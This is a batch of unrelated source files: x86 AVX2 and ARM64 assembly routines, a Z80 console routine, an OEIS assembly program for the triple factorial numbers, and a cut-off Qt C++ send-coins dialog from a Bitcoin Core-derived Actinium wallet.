vpaddq %ymm13, %ymm0, %ymm0
vmovdqu %ymm0, (-24)(%rdi)
movq (%rsp), %rdi
movq (8)(%rsp), %rsi
movq (32)(%rsp), %r8
xor %rax, %rax
.Lnorm_loopgas_4:
addq (%rsi), %rax
add $(8), %rsi
mov $(134217727), %rdx
and %rax, %rdx
shr $(27), %rax
movq %rdx, (%rdi)
add $(8), %rdi
sub $(1), %r8
jg .Lnorm_loopgas_4
movq %rax, (%rdi)
add $(48), %rsp
vzeroupper
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.Lfe4:
.size cpMontMul4n3_avx2, .Lfe4-(cpMontMul4n3_avx2)
|
; Licensed to the .NET Foundation under one or more agreements.
; The .NET Foundation licenses this file to you under the MIT license.
;; ==++==
;;
;;
;; ==--==
#include "ksarm64.h"
#include "asmconstants.h"
IMPORT CallDescrWorkerUnwindFrameChainHandler
;;-----------------------------------------------------------------------------
;; This helper routine enregisters the appropriate arguments and makes the
;; actual call.
;;-----------------------------------------------------------------------------
;;void CallDescrWorkerInternal(CallDescrData * pCallDescrData);
NESTED_ENTRY CallDescrWorkerInternal,,CallDescrWorkerUnwindFrameChainHandler
PROLOG_SAVE_REG_PAIR fp, lr, #-32!
PROLOG_SAVE_REG x19, #16 ;the stack slot at sp+24 is empty for 16 byte alligment
mov x19, x0 ; save pCallDescrData in x19
ldr w1, [x19,#CallDescrData__numStackSlots]
cbz w1, Ldonestack
;; Add frame padding to ensure frame size is a multiple of 16 (a requirement of the OS ABI).
;; We push two registers (above) and numStackSlots arguments (below). If this comes to an odd number
;; of slots we must pad with another. This simplifies to "if the low bit of numStackSlots is set,
;; extend the stack another eight bytes".
ldr x0, [x19,#CallDescrData__pSrc]
add x0, x0, x1 lsl #3 ; pSrcEnd=pSrc+8*numStackSlots
ands x2, x1, #1
beq Lstackloop
;; This loop copies numStackSlots words
;; from [pSrcEnd-8,pSrcEnd-16,...] to [sp-8,sp-16,...]
;; pad and store one stack slot as number of slots are odd
ldr x4, [x0,#-8]!
str x4, [sp,#-16]!
subs x1, x1, #1
beq Ldonestack
Lstackloop
ldp x2, x4, [x0,#-16]!
stp x2, x4, [sp,#-16]!
subs x1, x1, #2
bne Lstackloop
Ldonestack
;; If FP arguments are supplied in registers (x9 != NULL) then initialize all of them from the pointer
;; given in x9.
ldr x9, [x19,#CallDescrData__pFloatArgumentRegisters]
cbz x9, LNoFloatingPoint
ldp q0, q1, [x9]
ldp q2, q3, [x9, #32]
ldp q4, q5, [x9, #64]
ldp q6, q7, [x9, #96]
LNoFloatingPoint
;; Copy [pArgumentRegisters, ..., pArgumentRegisters + 56]
;; into x0, ..., x7
ldr x9, [x19,#CallDescrData__pArgumentRegisters]
ldp x0, x1, [x9]
ldp x2, x3, [x9, #16]
ldp x4, x5, [x9, #32]
ldp x6, x7, [x9, #48]
;; Copy pRetBuffArg into x8
ldr x9, [x19,#CallDescrData__pRetBuffArg]
ldr x8, [x9]
;; call pTarget
ldr x9, [x19,#CallDescrData__pTarget]
blr x9
ldr w3, [x19,#CallDescrData__fpReturnSize]
;; Int return case
cbz w3, LIntReturn
;; Float return case
cmp w3, #4
beq LFloatReturn
;; Double return case
cmp w3, #8
bne LNoDoubleReturn
LFloatReturn
str q0, [x19, #(CallDescrData__returnValue + 0)]
b LReturnDone
LNoDoubleReturn
;;FloatHFAReturn return case
cmp w3, #16
bne LNoFloatHFAReturn
stp s0, s1, [x19, #(CallDescrData__returnValue + 0)]
stp s2, s3, [x19, #(CallDescrData__returnValue + 0x08)]
b LReturnDone
LNoFloatHFAReturn
;;DoubleHFAReturn return case
cmp w3, #32
bne LNoDoubleHFAReturn
stp d0, d1, [x19, #(CallDescrData__returnValue + 0)]
stp d2, d3, [x19, #(CallDescrData__returnValue + 0x10)]
b LReturnDone
LNoDoubleHFAReturn
;;VectorHFAReturn return case
cmp w3, #64
bne LNoVectorHFAReturn
stp q0, q1, [x19, #(CallDescrData__returnValue + 0)]
stp q2, q3, [x19, #(CallDescrData__returnValue + 0x20)]
b LReturnDone
LNoVectorHFAReturn
EMIT_BREAKPOINT ; Unreachable
LIntReturn
;; Save return value(s) into retbuf for int
stp x0,x1, [x19, #(CallDescrData__returnValue + 0)]
LReturnDone
#ifdef _DEBUG
;; trash the floating point registers to ensure that the HFA return values
;; won't survive by accident
ldp d0, d1, [sp]
ldp d2, d3, [sp, #16]
#endif
EPILOG_STACK_RESTORE
EPILOG_RESTORE_REG x19, #16 ;the stack slot at sp+24 is empty for 16 byte alligment
EPILOG_RESTORE_REG_PAIR fp, lr, #32!
EPILOG_RETURN
NESTED_END
END
|
MODULE tms9918_console_vpeek
SECTION code_clib
PUBLIC __tms9918_console_vpeek
EXTERN generic_console_font32
EXTERN generic_console_udg32
EXTERN screendollar
EXTERN screendollar_with_count
EXTERN msxbios
IF FORmsx
INCLUDE "target/msx/def/msxbios.def"
ENDIF
IF FORsvi
INCLUDE "target/svi/def/svibios.def"
ENDIF
IF FORmtx | FORpv2000 | FORsc3000 | FORm5 | FOReinstein | FORcoleco | FORspc1000
EXTERN LDIRMV
ENDIF
IF !FORspc1000 && !FOReinstein
PUBLIC generic_console_vpeek
defc generic_console_vpeek = __tms9918_console_vpeek
ENDIF
__tms9918_console_vpeek:
push ix
ld a,c
add a
add a
add a
ld e,a
ld d,b
ld hl,-8
add hl,sp
ld sp,hl
push hl ;save buffer
; de = VDP address
; hl = buffer
ex de,hl
ld ix,LDIRMV
ld bc,8
call msxbios
pop de ;buffer
ld hl,(generic_console_font32)
call screendollar
jr nc,gotit
ld hl,(generic_console_udg32)
ld b,128
call screendollar_with_count
jr c,gotit
add 128
gotit:
ex af,af
ld hl,8
add hl,sp
ld sp,hl
ex af,af
pop ix
ret
|
; A032031: Triple factorial numbers: (3n)!!! = 3^n*n!.
; 1,3,18,162,1944,29160,524880,11022480,264539520,7142567040,214277011200,7071141369600,254561089305600,9927882482918400,416971064282572800,18763697892715776000,900657498850357248000,45933532441368219648000,2480410751833883860992000,141383412854531380076544000,8483004771271882804592640000,534429300590128616689336320000,35272333838948488701496197120000,2433791034887445720403237601280000,175232954511896091869033107292160000,13142471588392206890177483046912000000
mov $1,2
lpb $0
sub $0,1
add $2,3
mul $1,$2
lpe
div $1,2
mov $0,$1
|
// Copyright (c) 2011-2020 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include <config/bitcoin-config.h>
#endif
#include <qt/sendcoinsdialog.h>
#include <qt/forms/ui_sendcoinsdialog.h>
#include <qt/addresstablemodel.h>
#include <qt/bitcoinunits.h>
#include <qt/clientmodel.h>
#include <qt/coincontroldialog.h>
#include <qt/guiutil.h>
#include <qt/optionsmodel.h>
#include <qt/platformstyle.h>
#include <qt/sendcoinsentry.h>
#include <chainparams.h>
#include <interfaces/node.h>
#include <key_io.h>
#include <node/ui_interface.h>
#include <policy/fees.h>
#include <txmempool.h>
#include <wallet/coincontrol.h>
#include <wallet/fees.h>
#include <wallet/wallet.h>
#include <QFontMetrics>
#include <QScrollBar>
#include <QSettings>
#include <QTextDocument>
static const std::array<int, 9> confTargets = { {2, 4, 6, 12, 24, 48, 144, 504, 1008} };
int getConfTargetForIndex(int index) {
if (index+1 > static_cast<int>(confTargets.size())) {
return confTargets.back();
}
if (index < 0) {
return confTargets[0];
}
return confTargets[index];
}
int getIndexForConfTarget(int target) {
for (unsigned int i = 0; i < confTargets.size(); i++) {
if (confTargets[i] >= target) {
return i;
}
}
return confTargets.size() - 1;
}
SendCoinsDialog::SendCoinsDialog(const PlatformStyle *_platformStyle, QWidget *parent) :
QDialog(parent),
ui(new Ui::SendCoinsDialog),
clientModel(nullptr),
model(nullptr),
m_coin_control(new CCoinControl),
fNewRecipientAllowed(true),
fFeeMinimized(true),
platformStyle(_platformStyle)
{
ui->setupUi(this);
if (!_platformStyle->getImagesOnButtons()) {
ui->addButton->setIcon(QIcon());
ui->clearButton->setIcon(QIcon());
ui->sendButton->setIcon(QIcon());
} else {
ui->addButton->setIcon(_platformStyle->SingleColorIcon(":/icons/add"));
ui->clearButton->setIcon(_platformStyle->SingleColorIcon(":/icons/remove"));
ui->sendButton->setIcon(_platformStyle->SingleColorIcon(":/icons/send"));
}
GUIUtil::setupAddressWidget(ui->lineEditCoinControlChange, this);
addEntry();
connect(ui->addButton, &QPushButton::clicked, this, &SendCoinsDialog::addEntry);
connect(ui->clearButton, &QPushButton::clicked, this, &SendCoinsDialog::clear);
// Coin Control
connect(ui->pushButtonCoinControl, &QPushButton::clicked, this, &SendCoinsDialog::coinControlButtonClicked);
connect(ui->checkBoxCoinControlChange, &QCheckBox::stateChanged, this, &SendCoinsDialog::coinControlChangeChecked);
connect(ui->lineEditCoinControlChange, &QValidatedLineEdit::textEdited, this, &SendCoinsDialog::coinControlChangeEdited);
// Coin Control: clipboard actions
QAction *clipboardQuantityAction = new QAction(tr("Copy quantity"), this);
QAction *clipboardAmountAction = new QAction(tr("Copy amount"), this);
QAction *clipboardFeeAction = new QAction(tr("Copy fee"), this);
QAction *clipboardAfterFeeAction = new QAction(tr("Copy after fee"), this);
QAction *clipboardBytesAction = new QAction(tr("Copy bytes"), this);
QAction *clipboardLowOutputAction = new QAction(tr("Copy dust"), this);
QAction *clipboardChangeAction = new QAction(tr("Copy change"), this);
connect(clipboardQuantityAction, &QAction::triggered, this, &SendCoinsDialog::coinControlClipboardQuantity);
connect(clipboardAmountAction, &QAction::triggered, this, &SendCoinsDialog::coinControlClipboardAmount);
connect(clipboardFeeAction, &QAction::triggered, this, &SendCoinsDialog::coinControlClipboardFee);
connect(clipboardAfterFeeAction, &QAction::triggered, this, &SendCoinsDialog::coinControlClipboardAfterFee);
connect(clipboardBytesAction, &QAction::triggered, this, &SendCoinsDialog::coinControlClipboardBytes);
connect(clipboardLowOutputAction, &QAction::triggered, this, &SendCoinsDialog::coinControlClipboardLowOutput);
connect(clipboardChangeAction, &QAction::triggered, this, &SendCoinsDialog::coinControlClipboardChange);
ui->labelCoinControlQuantity->addAction(clipboardQuantityAction);
ui->labelCoinControlAmount->addAction(clipboardAmountAction);
ui->labelCoinControlFee->addAction(clipboardFeeAction);
ui->labelCoinControlAfterFee->addAction(clipboardAfterFeeAction);
ui->labelCoinControlBytes->addAction(clipboardBytesAction);
ui->labelCoinControlLowOutput->addAction(clipboardLowOutputAction);
ui->labelCoinControlChange->addAction(clipboardChangeAction);
// init transaction fee section
QSettings settings;
if (!settings.contains("fFeeSectionMinimized"))
settings.setValue("fFeeSectionMinimized", true);
if (!settings.contains("nFeeRadio") && settings.contains("nTransactionFee") && settings.value("nTransactionFee").toLongLong() > 0) // compatibility
settings.setValue("nFeeRadio", 1); // custom
if (!settings.contains("nFeeRadio"))
settings.setValue("nFeeRadio", 0); // recommended
if (!settings.contains("nSmartFeeSliderPosition"))
settings.setValue("nSmartFeeSliderPosition", 0);
if (!settings.contains("nTransactionFee"))
settings.setValue("nTransactionFee", (qint64)DEFAULT_PAY_TX_FEE);
ui->groupFee->setId(ui->radioSmartFee, 0);
ui->groupFee->setId(ui->radioCustomFee, 1);
ui->groupFee->button((int)std::max(0, std::min(1, settings.value("nFeeRadio").toInt())))->setChecked(true);
ui->customFee->SetAllowEmpty(false);
ui->customFee->setValue(settings.value("nTransactionFee").toLongLong());
minimizeFeeSection(settings.value("fFeeSectionMinimized").toBool());
}
void SendCoinsDialog::setClientModel(ClientModel *_clientModel)
{
this->clientModel = _clientModel;
if (_clientModel) {
connect(_clientModel, &ClientModel::numBlocksChanged, this, &SendCoinsDialog::updateSmartFeeLabel);
}
}
void SendCoinsDialog::setModel(WalletModel *_model)
{
this->model = _model;
if(_model && _model->getOptionsModel())
{
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry)
{
entry->setModel(_model);
}
}
interfaces::WalletBalances balances = _model->wallet().getBalances();
setBalance(balances);
connect(_model, &WalletModel::balanceChanged, this, &SendCoinsDialog::setBalance);
connect(_model->getOptionsModel(), &OptionsModel::displayUnitChanged, this, &SendCoinsDialog::updateDisplayUnit);
updateDisplayUnit();
// Coin Control
connect(_model->getOptionsModel(), &OptionsModel::displayUnitChanged, this, &SendCoinsDialog::coinControlUpdateLabels);
connect(_model->getOptionsModel(), &OptionsModel::coinControlFeaturesChanged, this, &SendCoinsDialog::coinControlFeatureChanged);
ui->frameCoinControl->setVisible(_model->getOptionsModel()->getCoinControlFeatures());
coinControlUpdateLabels();
// fee section
for (const int n : confTargets) {
ui->confTargetSelector->addItem(tr("%1 (%2 blocks)").arg(GUIUtil::formatNiceTimeOffset(n*Params().GetConsensus().nPowTargetSpacing)).arg(n));
}
connect(ui->confTargetSelector, static_cast<void (QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this, &SendCoinsDialog::updateSmartFeeLabel);
connect(ui->confTargetSelector, static_cast<void (QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this, &SendCoinsDialog::coinControlUpdateLabels);
connect(ui->groupFee, static_cast<void (QButtonGroup::*)(int)>(&QButtonGroup::buttonClicked), this, &SendCoinsDialog::updateFeeSectionControls);
connect(ui->groupFee, static_cast<void (QButtonGroup::*)(int)>(&QButtonGroup::buttonClicked), this, &SendCoinsDialog::coinControlUpdateLabels);
connect(ui->customFee, &BitcoinAmountField::valueChanged, this, &SendCoinsDialog::coinControlUpdateLabels);
connect(ui->optInRBF, &QCheckBox::stateChanged, this, &SendCoinsDialog::updateSmartFeeLabel);
connect(ui->optInRBF, &QCheckBox::stateChanged, this, &SendCoinsDialog::coinControlUpdateLabels);
CAmount requiredFee = model->wallet().getRequiredFee(1000);
ui->customFee->SetMinValue(requiredFee);
if (ui->customFee->value() < requiredFee) {
ui->customFee->setValue(requiredFee);
}
ui->customFee->setSingleStep(requiredFee);
updateFeeSectionControls();
updateSmartFeeLabel();
// set default rbf checkbox state
ui->optInRBF->setCheckState(Qt::Checked);
if (model->wallet().privateKeysDisabled()) {
ui->sendButton->setText(tr("Cr&eate Unsigned"));
ui->sendButton->setToolTip(tr("Creates a Partially Signed Actinium Transaction (PSBT) for use with e.g. an offline %1 wallet, or a PSBT-compatible hardware wallet.").arg(PACKAGE_NAME));
}
// set the smartfee-sliders default value (wallets default conf.target or last stored value)
QSettings settings;
if (settings.value("nSmartFeeSliderPosition").toInt() != 0) {
// migrate nSmartFeeSliderPosition to nConfTarget
// nConfTarget is available since 0.15 (replaced nSmartFeeSliderPosition)
int nConfirmTarget = 25 - settings.value("nSmartFeeSliderPosition").toInt(); // 25 == old slider range
settings.setValue("nConfTarget", nConfirmTarget);
settings.remove("nSmartFeeSliderPosition");
}
if (settings.value("nConfTarget").toInt() == 0)
ui->confTargetSelector->setCurrentIndex(getIndexForConfTarget(model->wallet().getConfirmTarget()));
else
ui->confTargetSelector->setCurrentIndex(getIndexForConfTarget(settings.value("nConfTarget").toInt()));
}
}
SendCoinsDialog::~SendCoinsDialog()
{
QSettings settings;
settings.setValue("fFeeSectionMinimized", fFeeMinimized);
settings.setValue("nFeeRadio", ui->groupFee->checkedId());
settings.setValue("nConfTarget", getConfTargetForIndex(ui->confTargetSelector->currentIndex()));
settings.setValue("nTransactionFee", (qint64)ui->customFee->value());
delete ui;
}
bool SendCoinsDialog::PrepareSendText(QString& question_string, QString& informative_text, QString& detailed_text)
{
QList<SendCoinsRecipient> recipients;
bool valid = true;
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry)
{
if(entry->validate(model->node()))
{
recipients.append(entry->getValue());
}
else if (valid)
{
ui->scrollArea->ensureWidgetVisible(entry);
valid = false;
}
}
}
if(!valid || recipients.isEmpty())
{
return false;
}
fNewRecipientAllowed = false;
WalletModel::UnlockContext ctx(model->requestUnlock());
if(!ctx.isValid())
{
// Unlock wallet was cancelled
fNewRecipientAllowed = true;
return false;
}
// prepare transaction for getting txFee earlier
m_current_transaction = MakeUnique<WalletModelTransaction>(recipients);
WalletModel::SendCoinsReturn prepareStatus;
updateCoinControlState(*m_coin_control);
prepareStatus = model->prepareTransaction(*m_current_transaction, *m_coin_control);
// process prepareStatus and on error generate message shown to user
processSendCoinsReturn(prepareStatus,
BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), m_current_transaction->getTransactionFee()));
if(prepareStatus.status != WalletModel::OK) {
fNewRecipientAllowed = true;
return false;
}
CAmount txFee = m_current_transaction->getTransactionFee();
QStringList formatted;
for (const SendCoinsRecipient &rcp : m_current_transaction->getRecipients())
{
// generate amount string with wallet name in case of multiwallet
QString amount = BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), rcp.amount);
if (model->isMultiwallet()) {
amount.append(tr(" from wallet '%1'").arg(GUIUtil::HtmlEscape(model->getWalletName())));
}
// generate address string
QString address = rcp.address;
QString recipientElement;
{
if(rcp.label.length() > 0) // label with address
{
recipientElement.append(tr("%1 to '%2'").arg(amount, GUIUtil::HtmlEscape(rcp.label)));
recipientElement.append(QString(" (%1)").arg(address));
}
else // just address
{
recipientElement.append(tr("%1 to %2").arg(amount, address));
}
}
formatted.append(recipientElement);
}
if (model->wallet().privateKeysDisabled()) {
question_string.append(tr("Do you want to draft this transaction?"));
} else {
question_string.append(tr("Are you sure you want to send?"));
}
question_string.append("<br /><span style='font-size:10pt;'>");
if (model->wallet().privateKeysDisabled()) {
question_string.append(tr("Please, review your transaction proposal. This will produce a Partially Signed Actinium Transaction (PSBT) which you can save or copy and then sign with e.g. an offline %1 wallet, or a PSBT-compatible hardware wallet.").arg(PACKAGE_NAME));
} else {
question_string.append(tr("Please, review your transaction."));
}
question_string.append("</span>%1");
if(txFee > 0)
{
// append fee string if a fee is required
question_string.append("<hr /><b>");
question_string.append(tr("Transaction fee"));
question_string.append("</b>");
// append transaction size
question_string.append(" (" + QString::number((double)m_current_transaction->getTransactionSize() / 1000) + " kB): ");
// append transaction fee value
question_string.append("<span style='color:#aa0000; font-weight:bold;'>");
question_string.append(BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), txFee));
question_string.append("</span><br />");
// append RBF message according to transaction's signalling
question_string.append("<span style='font-size:10pt; font-weight:normal;'>");
if (ui->optInRBF->isChecked()) {
question_string.append(tr("You can increase the fee later (signals Replace-By-Fee, BIP-125)."));
} else {
question_string.append(tr("Not signalling Replace-By-Fee, BIP-125."));
}
question_string.append("</span>");
}
// add total amount in all subdivision units
question_string.append("<hr />");
CAmount totalAmount = m_current_transaction->getTotalTransactionAmount() + txFee;
QStringList alternativeUnits;
for (const BitcoinUnits::Unit u : BitcoinUnits::availableUnits())
{
if(u != model->getOptionsModel()->getDisplayUnit())
alternativeUnits.append(BitcoinUnits::formatHtmlWithUnit(u, totalAmount));
}
question_string.append(QString("<b>%1</b>: <b>%2</b>").arg(tr("Total Amount"))
.arg(BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), totalAmount)));
question_string.append(QString("<br /><span style='font-size:10pt; font-weight:normal;'>(=%1)</span>")
.arg(alternativeUnits.join(" " + tr("or") + " ")));
if (formatted.size() > 1) {
question_string = question_string.arg("");
informative_text = tr("To review recipient list click \"Show Details...\"");
detailed_text = formatted.join("\n\n");
} else {
question_string = question_string.arg("<br /><br />" + formatted.at(0));
}
return true;
}
void SendCoinsDialog::on_sendButton_clicked()
{
if(!model || !model->getOptionsModel())
return;
QString question_string, informative_text, detailed_text;
if (!PrepareSendText(question_string, informative_text, detailed_text)) return;
assert(m_current_transaction);
const QString confirmation = model->wallet().privateKeysDisabled() ? tr("Confirm transaction proposal") : tr("Confirm send coins");
const QString confirmButtonText = model->wallet().privateKeysDisabled() ? tr("Create Unsigned") : tr("Send");
SendConfirmationDialog confirmationDialog(confirmation, question_string, informative_text, detailed_text, SEND_CONFIRM_DELAY, confirmButtonText, this);
confirmationDialog.exec();
QMessageBox::StandardButton retval = static_cast<QMessageBox::StandardButton>(confirmationDialog.result());
if(retval != QMessageBox::Yes)
{
fNewRecipientAllowed = true;
return;
}
bool send_failure = false;
if (model->wallet().privateKeysDisabled()) {
CMutableTransaction mtx = CMutableTransaction{*(m_current_transaction->getWtx())};
PartiallySignedTransaction psbtx(mtx);
bool complete = false;
const TransactionError err = model->wallet().fillPSBT(SIGHASH_ALL, false /* sign */, true /* bip32derivs */, psbtx, complete, nullptr);
assert(!complete);
assert(err == TransactionError::OK);
// Serialize the PSBT
CDataStream ssTx(SER_NETWORK, PROTOCOL_VERSION);
ssTx << psbtx;
GUIUtil::setClipboard(EncodeBase64(ssTx.str()).c_str());
QMessageBox msgBox;
msgBox.setText("Unsigned Transaction");
msgBox.setInformativeText("The PSBT has been copied to the clipboard. You can also save it.");
msgBox.setStandardButtons(QMessageBox::Save | QMessageBox::Discard);
msgBox.setDefaultButton(QMessageBox::Discard);
switch (msgBox.exec()) {
case QMessageBox::Save: {
QString selectedFilter;
QString fileNameSuggestion = "";
bool first = true;
for (const SendCoinsRecipient &rcp : m_current_transaction->getRecipients()) {
if (!first) {
fileNameSuggestion.append(" - ");
}
QString labelOrAddress = rcp.label.isEmpty() ? rcp.address : rcp.label;
QString amount = BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), rcp.amount);
fileNameSuggestion.append(labelOrAddress + "-" + amount);
first = false;
}
fileNameSuggestion.append(".psbt");
QString filename = GUIUtil::getSaveFileName(this,
tr("Save Transaction Data"), fileNameSuggestion,
tr("Partially Signed Transaction (Binary) (*.psbt)"), &selectedFilter);
if (filename.isEmpty()) {
return;
}
std::ofstream out(filename.toLocal8Bit().data());
out << ssTx.str();
out.close();
Q_EMIT message(tr("PSBT saved"), "PSBT saved to disk", CClientUIInterface::MSG_INFORMATION);
break;
}
case QMessageBox::Discard:
break;
default:
assert(false);
}
} else {
// now send the prepared transaction
WalletModel::SendCoinsReturn sendStatus = model->sendCoins(*m_current_transaction);
// process sendStatus and on error generate message shown to user
processSendCoinsReturn(sendStatus);
if (sendStatus.status == WalletModel::OK) {
Q_EMIT coinsSent(m_current_transaction->getWtx()->GetHash());
} else {
send_failure = true;
}
}
if (!send_failure) {
accept();
m_coin_control->UnSelectAll();
coinControlUpdateLabels();
}
fNewRecipientAllowed = true;
m_current_transaction.reset();
}
void SendCoinsDialog::clear()
{
m_current_transaction.reset();
// Clear coin control settings
m_coin_control->UnSelectAll();
ui->checkBoxCoinControlChange->setChecked(false);
ui->lineEditCoinControlChange->clear();
coinControlUpdateLabels();
// Remove entries until only one left
while(ui->entries->count())
{
ui->entries->takeAt(0)->widget()->deleteLater();
}
addEntry();
updateTabsAndLabels();
}
void SendCoinsDialog::reject()
{
clear();
}
void SendCoinsDialog::accept()
{
clear();
}
SendCoinsEntry *SendCoinsDialog::addEntry()
{
SendCoinsEntry *entry = new SendCoinsEntry(platformStyle, this);
entry->setModel(model);
ui->entries->addWidget(entry);
connect(entry, &SendCoinsEntry::removeEntry, this, &SendCoinsDialog::removeEntry);
connect(entry, &SendCoinsEntry::useAvailableBalance, this, &SendCoinsDialog::useAvailableBalance);
connect(entry, &SendCoinsEntry::payAmountChanged, this, &SendCoinsDialog::coinControlUpdateLabels);
connect(entry, &SendCoinsEntry::subtractFeeFromAmountChanged, this, &SendCoinsDialog::coinControlUpdateLabels);
// Focus the field, so that entry can start immediately
entry->clear();
entry->setFocus();
ui->scrollAreaWidgetContents->resize(ui->scrollAreaWidgetContents->sizeHint());
qApp->processEvents();
QScrollBar* bar = ui->scrollArea->verticalScrollBar();
if(bar)
bar->setSliderPosition(bar->maximum());
updateTabsAndLabels();
return entry;
}
void SendCoinsDialog::updateTabsAndLabels()
{
setupTabChain(nullptr);
coinControlUpdateLabels();
}
void SendCoinsDialog::removeEntry(SendCoinsEntry* entry)
{
entry->hide();
// If the last entry is about to be removed add an empty one
if (ui->entries->count() == 1)
addEntry();
entry->deleteLater();
updateTabsAndLabels();
}
QWidget *SendCoinsDialog::setupTabChain(QWidget *prev)
{
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry)
{
prev = entry->setupTabChain(prev);
}
}
QWidget::setTabOrder(prev, ui->sendButton);
QWidget::setTabOrder(ui->sendButton, ui->clearButton);
QWidget::setTabOrder(ui->clearButton, ui->addButton);
return ui->addButton;
}
void SendCoinsDialog::setAddress(const QString &address)
{
SendCoinsEntry *entry = nullptr;
// Replace the first entry if it is still unused
if(ui->entries->count() == 1)
{
SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget());
if(first->isClear())
{
entry = first;
}
}
if(!entry)
{
entry = addEntry();
}
entry->setAddress(address);
}
void SendCoinsDialog::pasteEntry(const SendCoinsRecipient &rv)
{
if(!fNewRecipientAllowed)
return;
SendCoinsEntry *entry = nullptr;
// Replace the first entry if it is still unused
if(ui->entries->count() == 1)
{
SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget());
if(first->isClear())
{
entry = first;
}
}
if(!entry)
{
entry = addEntry();
}
entry->setValue(rv);
updateTabsAndLabels();
}
bool SendCoinsDialog::handlePaymentRequest(const SendCoinsRecipient &rv)
{
// Just paste the entry, all pre-checks
// are done in paymentserver.cpp.
pasteEntry(rv);
return true;
}
void SendCoinsDialog::setBalance(const interfaces::WalletBalances& balances)
{
if(model && model->getOptionsModel())
{
CAmount balance = balances.balance;
if (model->wallet().privateKeysDisabled()) {
balance = balances.watch_only_balance;
ui->labelBalanceName->setText(tr("Watch-only balance:"));
}
ui->labelBalance->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), balance));
}
}
void SendCoinsDialog::updateDisplayUnit()
{
setBalance(model->wallet().getBalances());
ui->customFee->setDisplayUnit(model->getOptionsModel()->getDisplayUnit());
updateSmartFeeLabel();
}
void SendCoinsDialog::processSendCoinsReturn(const WalletModel::SendCoinsReturn &sendCoinsReturn, const QString &msgArg)
{
QPair<QString, CClientUIInterface::MessageBoxFlags> msgParams;
// Default to a warning message, override if error message is needed
msgParams.second = CClientUIInterface::MSG_WARNING;
// This comment is specific to SendCoinsDialog usage of WalletModel::SendCoinsReturn.
// All status values are used only in WalletModel::prepareTransaction()
switch(sendCoinsReturn.status)
{
case WalletModel::InvalidAddress:
msgParams.first = tr("The recipient address is not valid. Please recheck.");
break;
case WalletModel::InvalidAmount:
msgParams.first = tr("The amount to pay must be larger than 0.");
break;
case WalletModel::AmountExceedsBalance:
msgParams.first = tr("The amount exceeds your balance.");
break;
case WalletModel::AmountWithFeeExceedsBalance:
msgParams.first = tr("The total exceeds your balance when the %1 transaction fee is included.").arg(msgArg);
break;
case WalletModel::DuplicateAddress:
msgParams.first = tr("Duplicate address found: addresses should only be used once each.");
break;
case WalletModel::TransactionCreationFailed:
msgParams.first = tr("Transaction creation failed!");
msgParams.second = CClientUIInterface::MSG_ERROR;
break;
case WalletModel::AbsurdFee:
msgParams.first = tr("A fee higher than %1 is considered an absurdly high fee.").arg(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), model->wallet().getDefaultMaxTxFee()));
break;
case WalletModel::PaymentRequestExpired:
msgParams.first = tr("Payment request expired.");
msgParams.second = CClientUIInterface::MSG_ERROR;
break;
// included to prevent a compiler warning.
case WalletModel::OK:
default:
return;
}
Q_EMIT message(tr("Send Coins"), msgParams.first, msgParams.second);
}
void SendCoinsDialog::minimizeFeeSection(bool fMinimize)
{
ui->labelFeeMinimized->setVisible(fMinimize);
ui->buttonChooseFee ->setVisible(fMinimize);
ui->buttonMinimizeFee->setVisible(!fMinimize);
ui->frameFeeSelection->setVisible(!fMinimize);
ui->horizontalLayoutSmartFee->setContentsMargins(0, (fMinimize ? 0 : 6), 0, 0);
fFeeMinimized = fMinimize;
}
void SendCoinsDialog::on_buttonChooseFee_clicked()
{
minimizeFeeSection(false);
}
void SendCoinsDialog::on_buttonMinimizeFee_clicked()
{
updateFeeMinimizedLabel();
minimizeFeeSection(true);
}
void SendCoinsDialog::useAvailableBalance(SendCoinsEntry* entry)
{
// Include watch-only for wallets without private key
m_coin_control->fAllowWatchOnly = model->wallet().privateKeysDisabled();
// Calculate available amount to send.
CAmount amount = model->wallet().getAvailableBalance(*m_coin_control);
for (int i = 0; i < ui->entries->count(); ++i) {
SendCoinsEntry* e = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if (e && !e->isHidden() && e != entry) {
amount -= e->getValue().amount;
}
}
if (amount > 0) {
entry->checkSubtractFeeFromAmount();
entry->setAmount(amount);
} else {
entry->setAmount(0);
}
}
void SendCoinsDialog::updateFeeSectionControls()
{
ui->confTargetSelector ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelSmartFee ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelSmartFee2 ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelSmartFee3 ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelFeeEstimation ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelCustomFeeWarning ->setEnabled(ui->radioCustomFee->isChecked());
ui->labelCustomPerKilobyte ->setEnabled(ui->radioCustomFee->isChecked());
ui->customFee ->setEnabled(ui->radioCustomFee->isChecked());
}
void SendCoinsDialog::updateFeeMinimizedLabel()
{
if(!model || !model->getOptionsModel())
return;
if (ui->radioSmartFee->isChecked())
ui->labelFeeMinimized->setText(ui->labelSmartFee->text());
else {
